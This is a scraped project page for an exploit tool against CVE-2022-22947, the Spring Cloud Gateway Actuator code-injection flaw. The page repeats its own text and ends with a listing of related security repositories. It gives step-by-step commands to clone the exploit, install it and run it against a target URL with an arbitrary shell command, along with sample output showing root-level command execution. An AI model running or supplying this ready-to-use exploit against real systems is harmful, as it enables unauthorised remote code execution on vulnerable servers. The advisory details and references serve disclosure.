Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'

[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Related tags

Overview

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

References

Owner

Carlos Vieira

A simple password generator using Python Tkinter.

A Python 3 script that uploads a tasks.pickle file that enables RCE in MotionEye

Operational information regarding the vulnerability in the Log4j logging library.

Visibility and Mitigation for Log4J vulnerabilities

PassLock is a medium-security password manager that encrypts passwords using Advanced Encryption Standards (AES)

orfipy is a tool written in python/cython to extract ORFs in an extremely and fast and flexible manner

Generate malicious files using recently published homoglyphic-attack (CVE-2021-42694)

SCodeScanner stands for Source Code scanner where the user can scans the source code for finding the Critical Vulnerabilities.

If you are worried about being found perhaps try taking cover under a blanket. Pure Python PowerShell Obfuscator

XSS scanner in python

Add a Web Server based on Rogue Mysql Server to allow remote user get

ProxyLogon Pre-Auth SSRF To Arbitrary File Write

Bandit is a tool designed to find common security issues in Python code.

Suricata Language Server is an implementation of the Language Server Protocol for Suricata signatures

the metasploit script(POC) about CVE-2021-36260

💣 Bomb Crypto Bot 💣

This is a js front-end encryption blasting account and password tools

Exploiting CVE-2021-44228 in VMWare Horizon for remote code execution and more.

Workshop Material on VM-based Deobfuscation

Spring-0day/CVE-2022-22965